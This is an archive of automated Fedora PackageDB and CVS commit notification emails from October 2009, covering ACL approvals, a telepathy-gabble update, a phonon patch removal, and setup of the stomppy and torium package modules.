Subject: [pkgdb] fife had acl change status
Message-ID: <20091003200133.5411310F800@bastion2.fedora.phx.redhat.com>

cassmodiah has set the watchbugzilla acl on fife (Fedora devel) to Approved for linuxdonald

To make changes to this package see:
  /pkgdb/packages/name/fife



From pkgdb at fedoraproject.org  Sat Oct  3 20:01:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 20:01:33 +0000
Subject: [pkgdb] fife had acl change status
Message-ID: <20091003200133.D912010F889@bastion2.fedora.phx.redhat.com>

cassmodiah has set the watchcommits acl on fife (Fedora devel) to Approved for linuxdonald

To make changes to this package see:
  /pkgdb/packages/name/fife



From pkgdb at fedoraproject.org  Sat Oct  3 20:01:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 20:01:35 +0000
Subject: [pkgdb] fife had acl change status
Message-ID: <20091003200135.F40F110F890@bastion2.fedora.phx.redhat.com>

cassmodiah has set the commit acl on fife (Fedora devel) to Approved for linuxdonald

To make changes to this package see:
  /pkgdb/packages/name/fife



From pkgdb at fedoraproject.org  Sat Oct  3 20:01:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 20:01:37 +0000
Subject: [pkgdb] fife had acl change status
Message-ID: <20091003200137.1630510F894@bastion2.fedora.phx.redhat.com>

cassmodiah has set the approveacls acl on fife (Fedora devel) to Approved for linuxdonald

To make changes to this package see:
  /pkgdb/packages/name/fife



From bpepple at fedoraproject.org  Sat Oct  3 19:34:35 2009
From: bpepple at fedoraproject.org (Brian Pepple)
Date: Sat,  3 Oct 2009 19:34:35 +0000 (UTC)
Subject: rpms/telepathy-gabble/devel .cvsignore, 1.54, 1.55 sources, 1.54,
	1.55 telepathy-gabble.spec, 1.66, 1.67
Message-ID: <20091003193435.9A33711C00E5@cvs1.fedora.phx.redhat.com>

Author: bpepple

Update of /cvs/pkgs/rpms/telepathy-gabble/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7361

Modified Files:
	.cvsignore sources telepathy-gabble.spec 
Log Message:
* Fri Oct  2 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.8.5-1
- Update to 0.8.5.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-gabble/devel/.cvsignore,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- .cvsignore	10 Sep 2009 22:01:05 -0000	1.54
+++ .cvsignore	3 Oct 2009 19:34:34 -0000	1.55
@@ -1 +1 @@
-telepathy-gabble-0.8.3.tar.gz
+telepathy-gabble-0.8.5.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-gabble/devel/sources,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- sources	10 Sep 2009 22:01:06 -0000	1.54
+++ sources	3 Oct 2009 19:34:34 -0000	1.55
@@ -1 +1 @@
-224a2ba110b401354dc71be009fd0e63  telepathy-gabble-0.8.3.tar.gz
+6874a802082c010d0abb0b75fbfbe8fc  telepathy-gabble-0.8.5.tar.gz


Index: telepathy-gabble.spec
===================================================================
RCS file: /cvs/pkgs/rpms/telepathy-gabble/devel/telepathy-gabble.spec,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- telepathy-gabble.spec	10 Sep 2009 22:01:06 -0000	1.66
+++ telepathy-gabble.spec	3 Oct 2009 19:34:34 -0000	1.67
@@ -1,5 +1,5 @@
 Name:           telepathy-gabble
-Version:        0.8.3
+Version:        0.8.5
 Release:        1%{?dist}
 Summary:        A Jabber/XMPP connection manager
 
@@ -59,6 +59,12 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct  2 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.8.5-1
+- Update to 0.8.5.
+
+* Wed Sep 30 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.8.4-1
+- Update to 0.8.4.
+
 * Thu Sep 10 2009 Brian Pepple <bpepple at fedoraproject.org> - 0.8.3-1
 - Update to 0.8.3.
 



From kkofler at fedoraproject.org  Sat Oct  3 20:26:32 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sat,  3 Oct 2009 20:26:32 +0000 (UTC)
Subject: rpms/phonon/F-12 phonon-4.3.1-xine-InitialPreference.patch, 1.1,
	NONE
Message-ID: <20091003202632.D2FA211C00E5@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/phonon/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25601/F-12

Removed Files:
	phonon-4.3.1-xine-InitialPreference.patch 
Log Message:
rm no longer applied xine-InitialPreference patch (Phonon-Xine has the higher priority again, matching upstream).


--- phonon-4.3.1-xine-InitialPreference.patch DELETED ---



From kkofler at fedoraproject.org  Sat Oct  3 20:26:33 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sat,  3 Oct 2009 20:26:33 +0000 (UTC)
Subject: rpms/phonon/devel phonon-4.3.1-xine-InitialPreference.patch, 1.1,
	NONE
Message-ID: <20091003202633.0814711C0296@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/phonon/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25601/devel

Removed Files:
	phonon-4.3.1-xine-InitialPreference.patch 
Log Message:
rm no longer applied xine-InitialPreference patch (Phonon-Xine has the higher priority again, matching upstream).


--- phonon-4.3.1-xine-InitialPreference.patch DELETED ---



From pkgdb at fedoraproject.org  Sat Oct  3 21:03:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:03:02 +0000
Subject: [pkgdb] syncevolution: dmaphy has requested watchbugzilla
Message-ID: <20091003210302.DA98E10F800@bastion2.fedora.phx.redhat.com>

dmaphy has requested the watchbugzilla acl on syncevolution (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From pkgdb at fedoraproject.org  Sat Oct  3 21:03:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:03:07 +0000
Subject: [pkgdb] syncevolution: dmaphy has requested watchcommits
Message-ID: <20091003210307.83E8310F86A@bastion2.fedora.phx.redhat.com>

dmaphy has requested the watchcommits acl on syncevolution (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From pkgdb at fedoraproject.org  Sat Oct  3 21:03:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:03:11 +0000
Subject: [pkgdb] syncevolution: dmaphy has requested commit
Message-ID: <20091003210311.51F8B10F800@bastion2.fedora.phx.redhat.com>

dmaphy has requested the commit acl on syncevolution (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From pkgdb at fedoraproject.org  Sat Oct  3 21:03:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:03:20 +0000
Subject: [pkgdb] syncevolution: dmaphy has requested approveacls
Message-ID: <20091003210320.AEEB710F800@bastion2.fedora.phx.redhat.com>

dmaphy has requested the approveacls acl on syncevolution (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From pkgdb at fedoraproject.org  Sat Oct  3 21:03:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:03:31 +0000
Subject: [pkgdb] syncevolution: dmaphy has requested watchbugzilla
Message-ID: <20091003210331.F0BB710F800@bastion2.fedora.phx.redhat.com>

dmaphy has requested the watchbugzilla acl on syncevolution (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From pkgdb at fedoraproject.org  Sat Oct  3 21:03:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:03:36 +0000
Subject: [pkgdb] syncevolution: dmaphy has requested commit
Message-ID: <20091003210336.C7C4510F88B@bastion2.fedora.phx.redhat.com>

dmaphy has requested the commit acl on syncevolution (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From pkgdb at fedoraproject.org  Sat Oct  3 21:03:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:03:39 +0000
Subject: [pkgdb] syncevolution: dmaphy has requested approveacls
Message-ID: <20091003210339.9BFB010F800@bastion2.fedora.phx.redhat.com>

dmaphy has requested the approveacls acl on syncevolution (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From pkgdb at fedoraproject.org  Sat Oct  3 21:03:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:03:45 +0000
Subject: [pkgdb] syncevolution: dmaphy has requested watchbugzilla
Message-ID: <20091003210345.720A910F800@bastion2.fedora.phx.redhat.com>

dmaphy has requested the watchbugzilla acl on syncevolution (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From pkgdb at fedoraproject.org  Sat Oct  3 21:03:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:03:52 +0000
Subject: [pkgdb] syncevolution: dmaphy has requested approveacls
Message-ID: <20091003210352.C901A10F889@bastion2.fedora.phx.redhat.com>

dmaphy has requested the approveacls acl on syncevolution (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From pkgdb at fedoraproject.org  Sat Oct  3 21:05:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:05:29 +0000
Subject: [pkgdb] syncevolution had acl change status
Message-ID: <20091003210529.D71E310F86A@bastion2.fedora.phx.redhat.com>

pbrobinson has set the watchbugzilla acl on syncevolution (Fedora devel) to Approved for dmaphy

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From pkgdb at fedoraproject.org  Sat Oct  3 21:05:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:05:29 +0000
Subject: [pkgdb] syncevolution had acl change status
Message-ID: <20091003210530.0104E10F88B@bastion2.fedora.phx.redhat.com>

pbrobinson has set the watchcommits acl on syncevolution (Fedora devel) to Approved for dmaphy

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From pkgdb at fedoraproject.org  Sat Oct  3 21:05:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:05:33 +0000
Subject: [pkgdb] syncevolution had acl change status
Message-ID: <20091003210533.8D9F210F895@bastion2.fedora.phx.redhat.com>

pbrobinson has set the approveacls acl on syncevolution (Fedora devel) to Approved for dmaphy

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From pkgdb at fedoraproject.org  Sat Oct  3 21:05:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:05:52 +0000
Subject: [pkgdb] syncevolution had acl change status
Message-ID: <20091003210552.C395010F88C@bastion2.fedora.phx.redhat.com>

pbrobinson has set the watchcommits acl on syncevolution (Fedora 11) to Approved for dmaphy

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From pkgdb at fedoraproject.org  Sat Oct  3 21:05:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:05:54 +0000
Subject: [pkgdb] syncevolution had acl change status
Message-ID: <20091003210554.33CB110F890@bastion2.fedora.phx.redhat.com>

pbrobinson has set the commit acl on syncevolution (Fedora 11) to Approved for dmaphy

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From pkgdb at fedoraproject.org  Sat Oct  3 21:05:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:05:55 +0000
Subject: [pkgdb] syncevolution had acl change status
Message-ID: <20091003210555.1A84010F895@bastion2.fedora.phx.redhat.com>

pbrobinson has set the approveacls acl on syncevolution (Fedora 11) to Approved for dmaphy

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From pkgdb at fedoraproject.org  Sat Oct  3 21:06:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:06:03 +0000
Subject: [pkgdb] syncevolution had acl change status
Message-ID: <20091003210603.5D1DF10F88B@bastion2.fedora.phx.redhat.com>

pbrobinson has set the watchcommits acl on syncevolution (Fedora 12) to Approved for dmaphy

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From pkgdb at fedoraproject.org  Sat Oct  3 21:06:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:06:04 +0000
Subject: [pkgdb] syncevolution had acl change status
Message-ID: <20091003210605.06CE810F890@bastion2.fedora.phx.redhat.com>

pbrobinson has set the commit acl on syncevolution (Fedora 12) to Approved for dmaphy

To make changes to this package see:
  /pkgdb/packages/name/syncevolution



From pkgdb at fedoraproject.org  Sat Oct  3 21:07:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:07:56 +0000
Subject: [pkgdb] ngircd: kevin has requested watchcommits
Message-ID: <20091003210756.F020910F889@bastion2.fedora.phx.redhat.com>

kevin has requested the watchcommits acl on ngircd (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ngircd



From pkgdb at fedoraproject.org  Sat Oct  3 21:07:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:07:54 +0000
Subject: [pkgdb] ngircd: kevin has requested watchbugzilla
Message-ID: <20091003210754.388FD10F7EA@bastion2.fedora.phx.redhat.com>

kevin has requested the watchbugzilla acl on ngircd (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ngircd



From pkgdb at fedoraproject.org  Sat Oct  3 21:08:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:08:00 +0000
Subject: [pkgdb] ngircd: kevin has requested commit
Message-ID: <20091003210800.A46C610F88B@bastion2.fedora.phx.redhat.com>

kevin has requested the commit acl on ngircd (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ngircd



From pkgdb at fedoraproject.org  Sat Oct  3 21:08:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:08:10 +0000
Subject: [pkgdb] ngircd: kevin has requested watchbugzilla
Message-ID: <20091003210810.EEFDF10F800@bastion2.fedora.phx.redhat.com>

kevin has requested the watchbugzilla acl on ngircd (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/ngircd



From pkgdb at fedoraproject.org  Sat Oct  3 21:08:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:08:12 +0000
Subject: [pkgdb] ngircd: kevin has requested commit
Message-ID: <20091003210812.3D5B010F889@bastion2.fedora.phx.redhat.com>

kevin has requested the commit acl on ngircd (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/ngircd



From pkgdb at fedoraproject.org  Sat Oct  3 21:08:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:08:25 +0000
Subject: [pkgdb] ngircd: kevin has requested watchbugzilla
Message-ID: <20091003210825.E0ACB10F87E@bastion2.fedora.phx.redhat.com>

kevin has requested the watchbugzilla acl on ngircd (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/ngircd



From pkgdb at fedoraproject.org  Sat Oct  3 21:08:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:08:26 +0000
Subject: [pkgdb] ngircd: kevin has requested watchcommits
Message-ID: <20091003210826.80E9C10F88C@bastion2.fedora.phx.redhat.com>

kevin has requested the watchcommits acl on ngircd (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/ngircd



From pkgdb at fedoraproject.org  Sat Oct  3 21:08:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:08:28 +0000
Subject: [pkgdb] ngircd: kevin has requested commit
Message-ID: <20091003210828.BE54410F895@bastion2.fedora.phx.redhat.com>

kevin has requested the commit acl on ngircd (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/ngircd



From pkgdb at fedoraproject.org  Sat Oct  3 21:08:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:08:35 +0000
Subject: [pkgdb] ngircd: kevin has requested watchbugzilla
Message-ID: <20091003210835.5440D10F889@bastion2.fedora.phx.redhat.com>

kevin has requested the watchbugzilla acl on ngircd (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/ngircd



From pkgdb at fedoraproject.org  Sat Oct  3 21:08:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:08:37 +0000
Subject: [pkgdb] ngircd: kevin has requested commit
Message-ID: <20091003210837.B4C5410F8A8@bastion2.fedora.phx.redhat.com>

kevin has requested the commit acl on ngircd (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/ngircd



From pkgdb at fedoraproject.org  Sat Oct  3 21:08:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:08:44 +0000
Subject: [pkgdb] ngircd: kevin has requested watchbugzilla
Message-ID: <20091003210844.1855F10F800@bastion2.fedora.phx.redhat.com>

kevin has requested the watchbugzilla acl on ngircd (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/ngircd



From pkgdb at fedoraproject.org  Sat Oct  3 21:08:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:08:46 +0000
Subject: [pkgdb] ngircd: kevin has requested commit
Message-ID: <20091003210846.9062910F889@bastion2.fedora.phx.redhat.com>

kevin has requested the commit acl on ngircd (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/ngircd



From pkgdb at fedoraproject.org  Sat Oct  3 21:08:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:08:46 +0000
Subject: [pkgdb] ngircd: kevin has requested watchcommits
Message-ID: <20091003210846.E8E9C10F890@bastion2.fedora.phx.redhat.com>

kevin has requested the watchcommits acl on ngircd (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/ngircd



From pkgdb at fedoraproject.org  Sat Oct  3 21:08:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:08:51 +0000
Subject: [pkgdb] ngircd: kevin has requested watchcommits
Message-ID: <20091003210851.A8C2B10F892@bastion2.fedora.phx.redhat.com>

kevin has requested the watchcommits acl on ngircd (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/ngircd



From pkgdb at fedoraproject.org  Sat Oct  3 21:16:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:16:55 +0000
Subject: [pkgdb] stomppy was added for stevetraylen
Message-ID: <20091003211655.1DF5010F800@bastion2.fedora.phx.redhat.com>

kevin has added Package stomppy with summary Python stomp client for messaging
kevin has approved Package stomppy
kevin has added a Fedora devel branch for stomppy with an owner of stevetraylen
kevin has approved stomppy in Fedora devel
kevin has approved Package stomppy
kevin has set commit to Approved for 107427 on stomppy (Fedora devel)
kevin has set checkout to Approved for 107427 on stomppy (Fedora devel)
kevin has set build to Approved for 107427 on stomppy (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/stomppy



From pkgdb at fedoraproject.org  Sat Oct  3 21:16:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:16:57 +0000
Subject: [pkgdb] stomppy (Fedora, 11) updated by kevin
Message-ID: <20091003211657.3E4C210F890@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for stomppy
kevin has set commit to Approved for 107427 on stomppy (Fedora 11)
kevin has set checkout to Approved for 107427 on stomppy (Fedora 11)
kevin has set build to Approved for 107427 on stomppy (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/stomppy



From kevin at fedoraproject.org  Sat Oct  3 21:17:18 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:17:18 +0000 (UTC)
Subject: rpms/stomppy - New directory
Message-ID: <20091003211718.9F8D411C0296@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/stomppy
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsC12593/rpms/stomppy

Log Message:
Directory /cvs/pkgs/rpms/stomppy added to the repository




From kevin at fedoraproject.org  Sat Oct  3 21:17:18 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:17:18 +0000 (UTC)
Subject: rpms/stomppy/devel - New directory
Message-ID: <20091003211719.039EF11C00E5@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/stomppy/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsC12593/rpms/stomppy/devel

Log Message:
Directory /cvs/pkgs/rpms/stomppy/devel added to the repository




From kevin at fedoraproject.org  Sat Oct  3 21:17:46 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:17:46 +0000 (UTC)
Subject: rpms/stomppy Makefile,NONE,1.1
Message-ID: <20091003211746.2A15B11C00E5@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/stomppy
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsC12593/rpms/stomppy

Added Files:
	Makefile 
Log Message:
Setup of module stomppy


--- NEW FILE Makefile ---
# Top level Makefile for module stomppy
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct  3 21:17:47 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:17:47 +0000 (UTC)
Subject: rpms/stomppy/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources,
	NONE, 1.1
Message-ID: <20091003211747.B7A5E11C00E5@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/stomppy/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsC12593/rpms/stomppy/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module stomppy


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: stomppy
# $Id: Makefile,v 1.1 2009/10/03 21:17:46 kevin Exp $
NAME := stomppy
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct  3 21:18:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:18:36 +0000
Subject: [pkgdb] python-webhelpers (Fedora EPEL, 5) updated by kevin
Message-ID: <20091003211836.C496610F86A@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for python-webhelpers
kevin has set commit to Approved for 107427 on python-webhelpers (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on python-webhelpers (Fedora EPEL 5)
kevin has set build to Approved for 107427 on python-webhelpers (Fedora EPEL 5)
kevin changed owner of python-webhelpers in Fedora EPEL 5 to kylev
kevin approved watchbugzilla on python-webhelpers (Fedora EPEL 5) for lmacken
kevin approved watchcommits on python-webhelpers (Fedora EPEL 5) for lmacken
kevin approved commit on python-webhelpers (Fedora EPEL 5) for lmacken
kevin approved build on python-webhelpers (Fedora EPEL 5) for lmacken
kevin approved approveacls on python-webhelpers (Fedora EPEL 5) for lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-webhelpers



From pkgdb at fedoraproject.org  Sat Oct  3 21:19:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:19:04 +0000
Subject: [pkgdb] python-routes (Fedora EPEL, 5) updated by kevin
Message-ID: <20091003211904.258A910F86A@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for python-routes
kevin has set commit to Approved for 107427 on python-routes (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on python-routes (Fedora EPEL 5)
kevin has set build to Approved for 107427 on python-routes (Fedora EPEL 5)
kevin changed owner of python-routes in Fedora EPEL 5 to kylev
kevin approved watchbugzilla on python-routes (Fedora EPEL 5) for lmacken
kevin approved watchcommits on python-routes (Fedora EPEL 5) for lmacken
kevin approved commit on python-routes (Fedora EPEL 5) for lmacken
kevin approved build on python-routes (Fedora EPEL 5) for lmacken
kevin approved approveacls on python-routes (Fedora EPEL 5) for lmacken

To make changes to this package see:
  /pkgdb/packages/name/python-routes



From pkgdb at fedoraproject.org  Sat Oct  3 21:20:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:20:01 +0000
Subject: [pkgdb] torium was added for leigh123linux
Message-ID: <20091003212001.5832510F8AC@bastion2.fedora.phx.redhat.com>

kevin has added Package torium with summary A minimalistic, easily configurable torrent client for Linux
kevin has approved Package torium
kevin has added a Fedora devel branch for torium with an owner of leigh123linux
kevin has approved torium in Fedora devel
kevin has approved Package torium
kevin has set commit to Approved for 107427 on torium (Fedora devel)
kevin has set checkout to Approved for 107427 on torium (Fedora devel)
kevin has set build to Approved for 107427 on torium (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/torium



From pkgdb at fedoraproject.org  Sat Oct  3 21:20:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:20:02 +0000
Subject: [pkgdb] torium summary updated by kevin
Message-ID: <20091003212002.C6B6510F8B0@bastion2.fedora.phx.redhat.com>

kevin set package torium summary to A minimalistic, easily configurable torrent client for Linux

To make changes to this package see:
  /pkgdb/packages/name/torium



From pkgdb at fedoraproject.org  Sat Oct  3 21:20:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:20:02 +0000
Subject: [pkgdb] torium (Fedora, 10) updated by kevin
Message-ID: <20091003212002.D517E10F8B7@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for torium
kevin has set commit to Approved for 107427 on torium (Fedora 12)
kevin has set checkout to Approved for 107427 on torium (Fedora 12)
kevin has set build to Approved for 107427 on torium (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/torium



From kevin at fedoraproject.org  Sat Oct  3 21:20:37 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:20:37 +0000 (UTC)
Subject: rpms/torium - New directory
Message-ID: <20091003212037.B220211C029C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/torium
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsA15734/rpms/torium

Log Message:
Directory /cvs/pkgs/rpms/torium added to the repository




From kevin at fedoraproject.org  Sat Oct  3 21:21:08 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:21:08 +0000 (UTC)
Subject: rpms/torium Makefile,NONE,1.1
Message-ID: <20091003212108.EF7E511C029C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/torium
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsA15734/rpms/torium

Added Files:
	Makefile 
Log Message:
Setup of module torium


--- NEW FILE Makefile ---
# Top level Makefile for module torium
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Sat Oct  3 21:21:10 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:21:10 +0000 (UTC)
Subject: rpms/torium/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources,
	NONE, 1.1
Message-ID: <20091003212110.A0C7E11C029C@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/torium/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsA15734/rpms/torium/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module torium


***** Error reading new file: [Errno 2] No such file or directory: '.cvsignore'

***** Error reading new file: [Errno 2] No such file or directory: 'Makefile'

***** Error reading new file: [Errno 2] No such file or directory: 'sources'



